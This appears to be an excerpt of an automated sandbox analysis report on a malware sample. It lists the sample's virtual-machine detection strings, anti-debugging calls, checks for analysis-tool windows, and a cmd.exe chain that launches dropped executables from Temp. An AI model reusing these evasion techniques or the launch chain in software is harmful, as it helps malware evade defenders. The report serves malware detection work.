Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000008.00000002.4114207813.0000000000DE2000.00000004.00000020.00020000.00000000.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 19a0b0f0ae.exe, 0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: 19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: explorti.exe, 00000008.00000002.4114207813.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.1829921422.00000000008FC000.00000040.00000001.01000000.00000003.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1961628481.0000000000B0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

Code function: 6_2_04A802AA rdtsc

6_2_04A802AA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C655FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C655FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C65C410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000A643B mov eax, dword ptr fs:[00000030h]		8_2_000A643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000AA1A2 mov eax, dword ptr fs:[00000030h]		8_2_000AA1A2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C62B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C62B1F7

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJEHDHIEGI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe "C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62B341 cpuid

0_2_6C62B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5F35A0

Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe

Code function: 12_2_7F1F1BC0 GetUserNameA,

12_2_7F1F1BC0

